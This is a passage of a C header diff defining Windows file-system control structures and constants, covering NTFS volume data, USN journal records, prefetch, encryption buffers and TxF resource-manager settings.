UCHAR First0x24BytesOfBootSector[0x24]; + +} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER VolumeSerialNumber; + LARGE_INTEGER NumberSectors; + LARGE_INTEGER TotalClusters; + LARGE_INTEGER FreeClusters; + LARGE_INTEGER TotalReserved; + ULONG BytesPerSector; + ULONG BytesPerCluster; + ULONG BytesPerFileRecordSegment; + ULONG ClustersPerFileRecordSegment; + LARGE_INTEGER MftValidDataLength; + LARGE_INTEGER MftStartLcn; + LARGE_INTEGER Mft2StartLcn; + LARGE_INTEGER MftZoneStart; + LARGE_INTEGER MftZoneEnd; + +} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; + +typedef struct { + + ULONG ByteCount; + + USHORT MajorVersion; + USHORT MinorVersion; + +} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingLcn; + +} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER StartingLcn; + LARGE_INTEGER BitmapSize; + UCHAR Buffer[1]; + +} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingVcn; + +} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; + +typedef struct RETRIEVAL_POINTERS_BUFFER { + + ULONG ExtentCount; + LARGE_INTEGER StartingVcn; + struct { + LARGE_INTEGER NextVcn; + LARGE_INTEGER Lcn; + } Extents[1]; + +} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + +} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + ULONG FileRecordLength; + UCHAR FileRecordBuffer[1]; + +} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA, *PMOVE_FILE_DATA; + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER SourceFileRecord; + LARGE_INTEGER TargetFileRecord; + +} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; + + +#if defined(_WIN64) + +typedef struct _MOVE_FILE_DATA32 { + + UINT32 FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; +#endif +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + ULONG Restart; + SID Sid; +} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; + +typedef struct { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + + ULONGLONG StartFileReferenceNumber; + USN LowUsn; + USN HighUsn; + +} MFT_ENUM_DATA, *PMFT_ENUM_DATA; + +typedef struct { + + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; + +typedef struct { + + USN StartUsn; + ULONG ReasonMask; + ULONG ReturnOnlyOnClose; + ULONGLONG Timeout; + ULONGLONG BytesToWaitFor; + ULONGLONG UsnJournalID; + +} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; + +typedef struct { + + ULONG RecordLength; + USHORT MajorVersion; + USHORT MinorVersion; + ULONGLONG FileReferenceNumber; + ULONGLONG ParentFileReferenceNumber; + USN Usn; + LARGE_INTEGER TimeStamp; + ULONG Reason; + ULONG SourceInfo; + ULONG SecurityId; + ULONG FileAttributes; + USHORT FileNameLength; + USHORT FileNameOffset; + WCHAR FileName[1]; + +} USN_RECORD, *PUSN_RECORD; + +#define USN_PAGE_SIZE (0x1000) + +#define USN_REASON_DATA_OVERWRITE (0x00000001) +#define USN_REASON_DATA_EXTEND (0x00000002) +#define USN_REASON_DATA_TRUNCATION (0x00000004) +#define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) +#define USN_REASON_NAMED_DATA_EXTEND (0x00000020) +#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) +#define USN_REASON_FILE_CREATE (0x00000100) +#define USN_REASON_FILE_DELETE (0x00000200) +#define USN_REASON_EA_CHANGE (0x00000400) +#define USN_REASON_SECURITY_CHANGE (0x00000800) +#define USN_REASON_RENAME_OLD_NAME (0x00001000) +#define USN_REASON_RENAME_NEW_NAME (0x00002000) +#define USN_REASON_INDEXABLE_CHANGE (0x00004000) +#define USN_REASON_BASIC_INFO_CHANGE (0x00008000) +#define USN_REASON_HARD_LINK_CHANGE (0x00010000) +#define USN_REASON_COMPRESSION_CHANGE (0x00020000) +#define USN_REASON_ENCRYPTION_CHANGE (0x00040000) +#define USN_REASON_OBJECT_ID_CHANGE (0x00080000) +#define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) +#define USN_REASON_STREAM_CHANGE (0x00200000) +#define USN_REASON_TRANSACTED_CHANGE (0x00400000) +#define USN_REASON_CLOSE (0x80000000) + +typedef struct { + + ULONGLONG UsnJournalID; + USN FirstUsn; + USN NextUsn; + USN LowestValidUsn; + USN MaxUsn; + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; + +typedef struct { + + ULONGLONG UsnJournalID; + ULONG DeleteFlags; + +} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; + +#define USN_DELETE_FLAG_DELETE (0x00000001) +#define USN_DELETE_FLAG_NOTIFY (0x00000002) + +#define USN_DELETE_VALID_FLAGS (0x00000003) + +typedef struct { + + ULONG UsnSourceInfo; + HANDLE VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; + +#if defined(_WIN64) + +typedef struct { + + ULONG UsnSourceInfo; + UINT32 VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; +#endif + +#define USN_SOURCE_DATA_MANAGEMENT (0x00000001) +#define USN_SOURCE_AUXILIARY_DATA (0x00000002) +#define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) + +#define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) +#define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) +#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0601) + +#define MARK_HANDLE_REALTIME (0x00000020) +#define MARK_HANDLE_NOT_REALTIME (0x00000040) + +#define NO_8DOT3_NAME_PRESENT (0x00000001) +#define REMOVED_8DOT3_NAME (0x00000002) + +#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) + +#endif /* _WIN32_WINNT >= 0x0601 */ + + +#if (_WIN32_WINNT >= 0x0500) +typedef struct { + + ACCESS_MASK DesiredAccess; + ULONG SecurityIds[1]; + +} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +#define VOLUME_IS_DIRTY (0x00000001) +#define VOLUME_UPGRADE_SCHEDULED (0x00000002) +#define VOLUME_SESSION_OPEN (0x00000004) +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_PREFETCH { + ULONG Type; + ULONG Count; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH, *PFILE_PREFETCH; + +typedef struct _FILE_PREFETCH_EX { + ULONG Type; + ULONG Count; + PVOID Context; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; + +#define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 +#define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 + +#define FILE_PREFETCH_TYPE_MAX 0x4 + +#endif /* _WIN32_WINNT >= 0x0500 */ + +typedef struct _FILESYSTEM_STATISTICS { + + USHORT FileSystemType; + USHORT Version; // currently version 1 + + ULONG SizeOfCompleteStructure; // must by a mutiple of 64 bytes + + ULONG UserFileReads; + ULONG UserFileReadBytes; + ULONG UserDiskReads; + ULONG UserFileWrites; + ULONG UserFileWriteBytes; + ULONG UserDiskWrites; + + ULONG MetaDataReads; + ULONG MetaDataReadBytes; + ULONG MetaDataDiskReads; + ULONG MetaDataWrites; + ULONG MetaDataWriteBytes; + ULONG MetaDataDiskWrites; +} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; + +// values for FS_STATISTICS.FileSystemType + +#define FILESYSTEM_STATISTICS_TYPE_NTFS 1 +#define FILESYSTEM_STATISTICS_TYPE_FAT 2 +#define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 +typedef struct _FAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} FAT_STATISTICS, *PFAT_STATISTICS; + +typedef struct _EXFAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} EXFAT_STATISTICS, *PEXFAT_STATISTICS; + +typedef struct _NTFS_STATISTICS { + + ULONG LogFileFullExceptions; + ULONG OtherExceptions; + + ULONG MftReads; + ULONG MftReadBytes; + ULONG MftWrites; + ULONG MftWriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftWritesUserLevel; + + USHORT MftWritesFlushForLogFileFull; + USHORT MftWritesLazyWriter; + USHORT MftWritesUserRequest; + + ULONG Mft2Writes; + ULONG Mft2WriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } Mft2WritesUserLevel; + + USHORT Mft2WritesFlushForLogFileFull; + USHORT Mft2WritesLazyWriter; + USHORT Mft2WritesUserRequest; + + ULONG RootIndexReads; + ULONG RootIndexReadBytes; + ULONG RootIndexWrites; + ULONG RootIndexWriteBytes; + + ULONG BitmapReads; + ULONG BitmapReadBytes; + ULONG BitmapWrites; + ULONG BitmapWriteBytes; + + USHORT BitmapWritesFlushForLogFileFull; + USHORT BitmapWritesLazyWriter; + USHORT BitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + } BitmapWritesUserLevel; + + ULONG MftBitmapReads; + ULONG MftBitmapReadBytes; + ULONG MftBitmapWrites; + ULONG MftBitmapWriteBytes; + + USHORT MftBitmapWritesFlushForLogFileFull; + USHORT MftBitmapWritesLazyWriter; + USHORT MftBitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftBitmapWritesUserLevel; + + ULONG UserIndexReads; + ULONG UserIndexReadBytes; + ULONG UserIndexWrites; + ULONG UserIndexWriteBytes; + ULONG LogFileReads; + ULONG LogFileReadBytes; + ULONG LogFileWrites; + ULONG LogFileWriteBytes; + + struct { + ULONG Calls; // number of individual calls to allocate clusters + ULONG Clusters; // number of clusters allocated + ULONG Hints; // number of times a hint was specified + + ULONG RunsReturned; // number of runs used to satisify all the requests + + ULONG HintsHonored; // number of times the hint was useful + ULONG HintsClusters; // number of clusters allocated via the hint + ULONG Cache; // number of times the cache was useful other than the hint + ULONG CacheClusters; // number of clusters allocated via the cache other than the hint + ULONG CacheMiss; // number of times the cache wasn't useful + ULONG CacheMissClusters; // number of clusters allocated without the cache + } Allocate; + +} NTFS_STATISTICS, *PNTFS_STATISTICS; + +#if (_WIN32_WINNT >= 0x0500) + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _FILE_OBJECTID_BUFFER { + + UCHAR ObjectId[16]; + + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } DUMMYSTRUCTNAME; + UCHAR ExtendedInfo[48]; + } DUMMYUNIONNAME; + +} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_SET_SPARSE_BUFFER { + BOOLEAN SetSparse; +} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; + + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ZERO_DATA_INFORMATION { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER BeyondFinalZero; + +} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ALLOCATED_RANGE_BUFFER { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER Length; + +} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _ENCRYPTION_BUFFER { + + ULONG EncryptionOperation; + UCHAR Private[1]; + +} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; + +#define FILE_SET_ENCRYPTION 0x00000001 +#define FILE_CLEAR_ENCRYPTION 0x00000002 +#define STREAM_SET_ENCRYPTION 0x00000003 +#define STREAM_CLEAR_ENCRYPTION 0x00000004 + +#define MAXIMUM_ENCRYPTION_VALUE 0x00000004 + +typedef struct _DECRYPTION_STATUS_BUFFER { + + BOOLEAN NoEncryptedStreams; + +} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; + +#define ENCRYPTION_FORMAT_DEFAULT (0x01) + +#define COMPRESSION_FORMAT_SPARSE (0x4000) + +typedef struct _REQUEST_RAW_ENCRYPTED_DATA { + + LONGLONG FileOffset; + ULONG Length; + +} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; + +typedef struct _ENCRYPTED_DATA_INFO { + + ULONGLONG StartingFileOffset; + + ULONG OutputBufferOffset; + + ULONG BytesWithinFileSize; + + ULONG BytesWithinValidDataLength; + + USHORT CompressionFormat; + + UCHAR DataUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + + UCHAR EncryptionFormat; + + USHORT NumberOfDataBlocks; + + ULONG DataBlockSize[ANYSIZE_ARRAY]; + +} ENCRYPTED_DATA_INFO; +typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _PLEX_READ_DATA_REQUEST { + + LARGE_INTEGER ByteOffset; + ULONG ByteLength; + ULONG PlexNumber; + +} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _SI_COPYFILE { + ULONG SourceFileNameLength; + ULONG DestinationFileNameLength; + ULONG Flags; + WCHAR FileNameBuffer[1]; +} SI_COPYFILE, *PSI_COPYFILE; + +#define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS +#define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. +#define COPYFILE_SIS_FLAGS 0x0003 +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { + BOOLEAN CloseDisc; +} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; + + +typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { + BOOLEAN Disable; +} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; + + +typedef struct _FILE_QUERY_SPARING_BUFFER { + ULONG SparingUnitBytes; + BOOLEAN SoftwareSparing; + ULONG TotalSpareBlocks; + ULONG FreeSpareBlocks; +} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; + + +typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { + LARGE_INTEGER DirectoryCount; // -1 = unknown + LARGE_INTEGER FileCount; // -1 = unknown + USHORT FsFormatMajVersion; // -1 = unknown or n/a + USHORT FsFormatMinVersion; // -1 = unknown or n/a + WCHAR FsFormatName[ 12]; + LARGE_INTEGER FormatTime; + LARGE_INTEGER LastUpdateTime; + WCHAR CopyrightInfo[ 34]; + WCHAR AbstractInfo[ 34]; + WCHAR FormattingImplementationInfo[ 34]; + WCHAR LastModifyingImplementationInfo[ 34]; +} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; + + +#define SET_REPAIR_ENABLED (0x00000001) +#define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) +#define SET_REPAIR_DELETE_CROSSLINK (0x00000004) +#define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) +#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) +#define SET_REPAIR_VALID_MASK (0x0000001F) + +typedef enum _SHRINK_VOLUME_REQUEST_TYPES +{ + ShrinkPrepare = 1, + ShrinkCommit, + ShrinkAbort + +} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; + +typedef struct _SHRINK_VOLUME_INFORMATION +{ + SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; + ULONGLONG Flags; + LONGLONG NewNumberOfSectors; + +} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; + +#define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 +#define TXFS_RM_FLAG_RENAME_RM 0x00000002 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 +#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 +#define TXFS_RM_FLAG_GROW_LOG 0x00000400 +#define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 +#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 +#define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 +#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 +#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 +#define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 +#define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 + +#define TXFS_LOGGING_MODE_SIMPLE (0x0001) +#define TXFS_LOGGING_MODE_FULL (0x0002) + +#define TXFS_TRANSACTION_STATE_NONE 0x00 +#define TXFS_TRANSACTION_STATE_ACTIVE 0x01 +#define TXFS_TRANSACTION_STATE_PREPARED 0x02 +#define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 + +#define TXFS_MODIFY_RM_VALID_FLAGS \ + (TXFS_RM_FLAG_LOGGING_MODE | \ + TXFS_RM_FLAG_RENAME_RM | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_SHRINK_LOG | \ + TXFS_RM_FLAG_GROW_LOG | \ + TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ + TXFS_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_MODIFY_RM { + + // + // TXFS_RM_FLAG_* flags + // + + ULONG Flags; + + // + // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. + // + + ULONG LogContainerCountMax; + + // + // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. + // + + ULONG LogContainerCountMin; + + // + // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. + // + + ULONG LogContainerCount; + + // + // When the log is full, increase its size by this much. Indicated as either a percent of + // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* + // flags is set. + // + + ULONG LogGrowthIncrement; + + // + // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink + // makes the log shrink so that no more than this percentage of the log is free at any time. + // + + ULONG LogAutoShrinkPercentage; + + // + // Reserved. + // + + ULONGLONG Reserved; + + // + // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE + // or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + +} TXFS_MODIFY_RM, + *PTXFS_MODIFY_RM; + +#define TXFS_RM_STATE_NOT_STARTED 0 +#define TXFS_RM_STATE_STARTING 1 +#define TXFS_RM_STATE_ACTIVE 2 +#define TXFS_RM_STATE_SHUTTING_DOWN 3 + +#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ + (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_QUERY_RM_INFORMATION { + + ULONG BytesRequired; + + ULONGLONG TailLsn; + ULONGLONG CurrentLsn; + ULONGLONG ArchiveTailLsn; + ULONGLONG LogContainerSize; + LARGE_INTEGER HighestVirtualClock; + ULONG LogContainerCount; + ULONG LogContainerCountMax; + ULONG LogContainerCountMin; + ULONG LogGrowthIncrement; + ULONG LogAutoShrinkPercentage; + ULONG Flags; + + // + // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + + // + // Reserved. + // + + USHORT Reserved; + + // + // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. + // + + ULONG RmState; + + // + // Total capacity of the log in bytes. + // + + ULONGLONG LogCapacity; + + // + // Amount of free space in the log in bytes. + // + + ULONGLONG LogFree; + + // + // Size of $Tops in bytes. + // + + ULONGLONG TopsSize; + + // + // Amount of space in $Tops in use. + // + + ULONGLONG TopsUsed; + + // + // Number of transactions active in the RM at the time of the call. + // + + ULONGLONG TransactionCount; + + // + // Total number of single-phase commits that have happened the RM. + // + + ULONGLONG OnePCCount; + + // + // Total number of two-phase commits that have happened the RM. + // + + ULONGLONG TwoPCCount; + + // + // Number of times the log has filled up. + // + + ULONGLONG NumberLogFileFull; + + // + // Age of oldest active transaction in the RM, in milliseconds. + // + + ULONGLONG OldestTransactionAge; + + GUID RMName; + + ULONG TmLogPathOffset; + +} TXFS_QUERY_RM_INFORMATION, + *PTXFS_QUERY_RM_INFORMATION; + +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 + +#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ + (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ + TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) + +typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { + LARGE_INTEGER LastVirtualClock; + ULONGLONG LastRedoLsn; + ULONGLONG HighestRecoveryLsn; + ULONG Flags; +} TXFS_ROLLFORWARD_REDO_INFORMATION, + *PTXFS_ROLLFORWARD_REDO_INFORMATION; + +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 +#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 + +#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 +#define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 +#define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 + +#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 +#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 + +#define TXFS_START_RM_VALID_FLAGS \ + (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ + TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOGGING_MODE | \ + TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_START_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_START_RM_INFORMATION { + + // + // TXFS_START_RM_FLAG_* flags. + // + + ULONG Flags; + + // + // RM log container size, in bytes. This parameter is optional. + // + + ULONGLONG LogContainerSize; + + // + // RM minimum log container count. This parameter is optional. + // + + ULONG LogContainerCountMin; + + // + // RM maximum log container count. This parameter is optional. + // + + ULONG LogContainerCountMax; + + // + // RM log growth increment in number of containers or percent, as indicated + // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is + // optional. + // + + ULONG LogGrowthIncrement; + + // + // RM log auto shrink percentage. This parameter is optional. + // + + ULONG LogAutoShrinkPercentage; + + // + // Offset from the beginning of this structure to the log path for the KTM + // instance to be used by this RM. This must be a two-byte (WCHAR) aligned + // value. This parameter is required. + // + + ULONG TmLogPathOffset; + + // + // Length in bytes of log path for the KTM instance to be used by this RM. + // This parameter is required. + // + + USHORT TmLogPathLength; + + // + // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or + // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, + // and will default to 